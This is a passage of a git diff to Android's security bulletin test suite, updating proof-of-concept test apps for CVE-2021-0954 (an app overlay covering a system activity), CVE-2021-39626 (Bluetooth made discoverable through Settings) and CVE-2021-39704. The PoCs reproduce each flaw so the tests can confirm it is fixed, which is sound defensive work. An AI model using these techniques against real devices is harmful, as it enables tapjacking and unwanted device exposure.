+ if (key.equals(getStringRes(R.string.resultKey))) {
+ preferenceChanged.release();
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+ assumeTrue(preferenceChanged.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
+ getIntegerRes(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
+ getStringRes(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
+
+ /* Wait for the UI of overlay window to appear */
+ Pattern overlayTextPattern = Pattern.compile(
+ mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+ assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)), TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ intent = new Intent();
+ String vulActivity = getStringRes(R.string.vulClass);
+ String vulPkg = getStringRes(R.string.vulPkg);
+ if (isAuto()) {
+ vulActivity = getStringRes(R.string.vulClassAuto);
+ vulPkg = getStringRes(R.string.vulPkgAuto);
+ }
+ intent.setClassName(vulPkg, vulActivity);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ /* Wait until the object of overlay window is gone */
+ boolean overlayDisallowed =
+ device.wait(Until.gone(By.pkg(mContext.getPackageName())), TIMEOUT_MS);
+
+ /*
+ * Check if the currently running activity is the vulnerable activity, if not abort the
+ * test
+ */
+ String activityDump = device.executeShellCommand(
+ getStringResWithArg(R.string.cmdDumpsysActivity, vulActivity));
+ Pattern activityPattern = Pattern.compile(getStringRes(R.string.mResumedTrue));
+ assumeTrue(getStringRes(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(getStringResWithArg(R.string.overlayErrorMessage, vulActivity),
+ overlayDisallowed);
+ } catch (Exception e) {
+ assumeNoException(e);
}
- Pattern activityPattern =
- Pattern.compile("mResumedActivity.*" + vulnerableActivityName + ".*\n");
- if (!activityPattern.matcher(activityDump).find()) {
- return;
- }
- String message = "Device is vulnerable to b/143559931 hence any app with "
- + "SYSTEM_ALERT_WINDOW can overlay the ResolverActivity screen";
- assertNull(message, mDevice.findObject(By.text(overlayTextPattern)));
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
index 82b78a2..79270ba 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,47 +14,65 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0954;
+package android.security.cts.CVE_2021_0954;
import android.app.Service;
+import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.content.res.Resources;
import android.graphics.PixelFormat;
-import android.os.Handler;
import android.os.IBinder;
-import android.provider.Settings;
import android.view.Gravity;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.Button;
public class PocService extends Service {
- public static Button mButton;
- private WindowManager mWindowManager;
- private WindowManager.LayoutParams mLayoutParams;
+ Button mButton;
+ WindowManager mWindowManager;
- private static int getScreenWidth() {
+ private int getScreenWidth() {
return Resources.getSystem().getDisplayMetrics().widthPixels;
}
- private static int getScreenHeight() {
+ private int getScreenHeight() {
return Resources.getSystem().getDisplayMetrics().heightPixels;
}
+ String getStringRes(int key) {
+ return getResources().getString(key);
+ }
+
+ int getIntegerRes(int key) {
+ return getResources().getInteger(key);
+ }
+
@Override
public void onCreate() {
- super.onCreate();
- mWindowManager = getSystemService(WindowManager.class);
- mLayoutParams = new WindowManager.LayoutParams();
- mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
- mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
- | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
- mLayoutParams.format = PixelFormat.OPAQUE;
- mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
- mLayoutParams.width = getScreenWidth();
- mLayoutParams.height = getScreenHeight();
- mLayoutParams.x = getScreenWidth() / 2;
- mLayoutParams.y = getScreenHeight() / 2;
+ try {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams();
+ layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+ layoutParams.flags =
+ LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+ layoutParams.format = PixelFormat.OPAQUE;
+ layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ layoutParams.width = getScreenWidth();
+ layoutParams.height = getScreenHeight();
+ layoutParams.x = getScreenWidth() / 2;
+ layoutParams.y = getScreenHeight() / 2;
+
+ /* Show the floating window */
+ mButton = new Button(this);
+ mButton.setText(getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, layoutParams);
+ } catch (Exception e) {
+ sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage());
+ return;
+ }
+ sendTestResult(getIntegerRes(R.integer.noAssumptionFailure), getStringRes(R.string.empty));
}
@Override
@@ -63,31 +81,27 @@
}
@Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- showFloatingWindow();
- return super.onStartCommand(intent, flags, startId);
- }
-
- @Override
public void onDestroy() {
- if (mWindowManager != null && mButton != null) {
- mWindowManager.removeView(mButton);
+ try {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ } catch (Exception e) {
+ sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage());
}
- super.onDestroy();
}
- private void showFloatingWindow() {
- if (Settings.canDrawOverlays(this)) {
- mButton = new Button(getApplicationContext());
- mButton.setText("OverlayButton");
- mWindowManager.addView(mButton, mLayoutParams);
- new Handler().postDelayed(new Runnable() {
- @Override
- public void run() {
- onDestroy();
- }
- }, 60000); // one minute
- mButton.setTag(mButton.getVisibility());
+ private void sendTestResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getStringRes(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getStringRes(R.string.resultKey), result);
+ edit.putString(getStringRes(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore the exception
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
index d3e2302..2f87b9c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -30,10 +30,10 @@
test_suites: [
"sts",
],
- sdk_version: "current",
static_libs: [
"androidx.test.core",
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
index f097825..74e263c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -22,12 +22,8 @@
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
- <application
- android:testOnly="true"
- android:label="CVE-2021-39626"
- android:supportsRtl="true">
- <activity
- android:name=".PocActivity"
+ <application>
+ <activity android:name=".PocActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@@ -35,7 +31,6 @@
</intent-filter>
</activity>
</application>
-
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.cts.CVE_2021_39626" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml
new file mode 100644
index 0000000..d5ae744
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="pass">0</integer>
+ <integer name="enabled">1</integer>
+ <integer name="disabled">2</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml
new file mode 100644
index 0000000..e6f53e7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="allowButtonResName">android:id/button1</string>
+ <string name="btAction">btAction</string>
+ <string name="className">.Settings$ConnectedDeviceDashboardActivity</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="defaultSettingsPkg">com.android.settings</string>
+ <string name="failMessage">Vulnerable to b/194695497 !!</string>
+ <string name="messageKey">message</string>
+ <string name="resultKey">result</string>
+ <string name="sharedPreferences">CVE_2021_39626_prefs</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
index cd24540..6bb8d16 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -18,14 +18,15 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
import android.bluetooth.BluetoothAdapter;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.content.pm.PackageManager;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
import android.provider.Settings;
import androidx.test.InstrumentationRegistry;
@@ -34,69 +35,121 @@
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
+import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
- private static final int TIMEOUT = 5000;
- private static Context context;
+ static final int TIMEOUT = 10000;
+ boolean mBtState = false;
+ BluetoothAdapter mBtAdapter;
+ Context mContext;
+ OnSharedPreferenceChangeListener mListener;
+ Resources mResources;
+ SharedPreferences mSharedPrefs;
+ Semaphore mPreferenceChanged;
+ UiDevice mDevice;
- private static String getSettingsPkgName() {
+ private String getSettingsPkgName() {
Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
ComponentName settingsComponent =
- settingsIntent.resolveActivity(context.getPackageManager());
+ settingsIntent.resolveActivity(mContext.getPackageManager());
String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
- : "com.android.settings";
- assumeNotNull(pkgName);
+ : mContext.getString(R.string.defaultSettingsPkg);
return pkgName;
}
- private void openApplication(String applicationName) {
- Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
- assumeNotNull(intent);
- intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ @After
+ public void tearDown() {
try {
- context.startActivity(intent);
+ // Disable bluetooth if it was OFF before the test
+ if (!mBtState) {
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(mContext.getString(R.string.btAction),
+ BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ mContext.startActivity(intent);
+ }
+ mPreferenceChanged = new Semaphore(0);
+ mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS);
+ int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey),
+ mResources.getString(R.string.defaultSemaphoreMsg));
+
+ // Go to home screen
+ mDevice.pressHome();
} catch (Exception e) {
- assumeNoException(e);
+ // ignore the exception
}
}
@Test
public void testBtDiscoverable() {
- // Initialize UiDevice instance
- UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- context = InstrumentationRegistry.getInstrumentation().getContext();
- BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
- assumeNotNull(btAdapter);
+ try {
+ // Initialize UiDevice instance
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mBtAdapter = BluetoothAdapter.getDefaultAdapter();
- // Save the state of bluetooth adapter to reset after the test
- boolean btState = btAdapter.isEnabled();
- if (!btState) {
- // If bluetooth is disabled, enable it and wait for adapter startup to complete
- assumeTrue(btAdapter.enable());
- try {
- Thread.sleep(TIMEOUT);
- } catch (Exception e) {
- assumeNoException(e);
- }
+ // Save the state of bluetooth adapter to reset after the test
+ mBtState = mBtAdapter.isEnabled();
+
+ // If bluetooth is disabled, enable it and wait for start activity to complete
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(mContext.getString(R.string.btAction),
+ BluetoothAdapter.ACTION_REQUEST_ENABLE);
+ mContext.startActivity(intent);
+ mResources = mContext.getResources();
+
+ mSharedPrefs = mContext.getSharedPreferences(
+ mResources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ mPreferenceChanged = new Semaphore(0);
+ mListener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(mResources.getString(R.string.resultKey))) {
+ mPreferenceChanged.release();
+ }
+ }
+ };
+ mSharedPrefs.registerOnSharedPreferenceChangeListener(mListener);
+ mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS);
+
+ int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey),
+ mResources.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+ // Checking if bluetooth is enabled. The test requires bluetooth to be enabled,
+ // assumption failing the test if it's not enabled
+ assumeTrue(mBtAdapter.isEnabled());
+
+ // Launch bluetooth settings which is supposed to set scan mode to
+ // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is active
+ intent = new Intent();
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ String settingsPkg = getSettingsPkgName();
+ intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
+ mContext.startActivity(intent);
+
+ assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT));
+
+ boolean isBtDiscoverable = false;
+ isBtDiscoverable =
+ (mBtAdapter.getScanMode() == mBtAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // The test fails if bluetooth is made discoverable through PoC
+ assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable);
+ } catch (Exception e) {
+ assumeNoException(e);
}
- assumeTrue(btAdapter.isEnabled());
-
- // Launch the PoC application and ensure that it launches bluetooth settings
- openApplication(context.getPackageName());
- assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
-
- boolean isBtDiscoverable =
- (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
-
- // Disable bluetooth if it was OFF before the test
- if (!btState) {
- btAdapter.disable();
- }
-
- // The test fails if bluetooth is made discoverable through PoC
- assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
index d4425ff..9a43cd1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -16,24 +16,88 @@
package android.security.cts.CVE_2021_39626;
-import static org.junit.Assume.assumeNoException;
-
import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.os.Bundle;
-import android.provider.Settings;
+
+import androidx.annotation.IntegerRes;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
public class PocActivity extends Activity {
+ private static final int TIMEOUT = 5000;
+ private static final int REQUEST_ENABLE_BT = 1;
+ private static final int REQUEST_DISABLE_BT = 2;
+
+ int getInteger(@IntegerRes int resId) {
+ return getResources().getInteger(resId);
+ }
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- Intent intent = new Intent();
- intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
try {
- startActivity(intent);
+ String action = getIntent().getStringExtra(getString(R.string.btAction));
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+ BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
+ int code = REQUEST_ENABLE_BT;
+ if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) {
+ code = REQUEST_DISABLE_BT;
+ }
+
+ if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE)
+ && !bluetoothAdapter.isEnabled())
+ || (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)
+ && bluetoothAdapter.isEnabled())) {
+ Intent enableBtIntent = new Intent(action);
+ startActivityForResult(enableBtIntent, code);
+
+ // Wait for the activity to appear and the allow button
+ device.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))),
+ TIMEOUT);
+
+ // Click on the allow button
+ UiObject2 object =
+ device.findObject(By.res(getString(R.string.allowButtonResName)));
+ object.click();
+ } else {
+ sendTestResult(getInteger(R.integer.pass), "");
+ finish();
+ return;
+ }
} catch (Exception e) {
- assumeNoException(e);
+ sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+ return;
+ }
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (requestCode == REQUEST_ENABLE_BT && resultCode == Activity.RESULT_OK) {
+ finish();
+ sendTestResult(getInteger(R.integer.enabled), "");
+ } else if (requestCode == REQUEST_DISABLE_BT && resultCode == Activity.RESULT_OK) {
+ finish();
+ sendTestResult(getInteger(R.integer.disabled), "");
+ }
+ }
+
+ private void sendTestResult(int result, String message) {
+ SharedPreferences sh =
+ getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ if (sh != null) {
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
new file mode 100644
index 0000000..044a5f5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39704",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
new file mode 100644
index 0000000..70b7a73
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39704">
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+ <application
+ android:supportsRtl="true">
+ <service
+ android:name=".PocService"
+ android:exported="true">
+ </service>
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39704" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
new file mode 100644
index 0000000..ec924a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <integer name="pass">2</integer>
+ <integer name="timeoutMs">5000</integer>
+ <integer name="assumptionFailure">3</integer>
+ <integer name="fail">1</integer>
+ <integer name="width">50</integer>
+ <integer name="height">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
new file mode 100644
index 0000000..ab82c01
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="channel">channel</string>
+ <string name="failMessage">Failed to open </string>
+ <string name="group">group</string>
+ <string name="groupId">groupId</string>
+ <string name="messageKey">messageKey</string>
+ <string name="passMessage">Passed</string>
+ <string name="resultKey">resultKey</string>
+ <string name="sharedPreference">sharedPreference</string>
+ <string name="vulnerableMessage">Vulnerable to b/209965481</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
new file mode 100644
index 0000000..6336229
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.Semaphore;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testdeleteNotificationChannelGroup() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager packageManager = context.getPackageManager();
+ Intent intent = packageManager
+ .getLaunchIntentForPackage(context.getPackageName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
+ context.startActivity(intent);
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreference),
+ Context.MODE_APPEND);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(
+ SharedPreferences sharedPreferences, String key) {
+ if (key.equals(context.getString(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key, 0) == context
+ .getResources().getInteger(R.integer.pass)) {
+ preferenceChanged.release();
+ }
+ }
+ }
+ };
+ sh.registerOnSharedPreferenceChangeListener(listener);
+ preferenceChanged.tryAcquire(
+ context.getResources().getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+
+ int result = sh.getInt(context.getString(R.string.resultKey),
+ context.getResources().getInteger(R.integer.pass));
+ String message = sh.getString(
+ context.getString(R.string.messageKey),
+ context.getString(R.string.passMessage));
+ assumeTrue(message, result != context.getResources()
+ .getInteger(R.integer.assumptionFailure));
+ assertNotEquals(message, result,
+ context.getResources().getInteger(R.integer.fail));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
new file mode 100644
index 0000000..60ce757
--- /dev/null
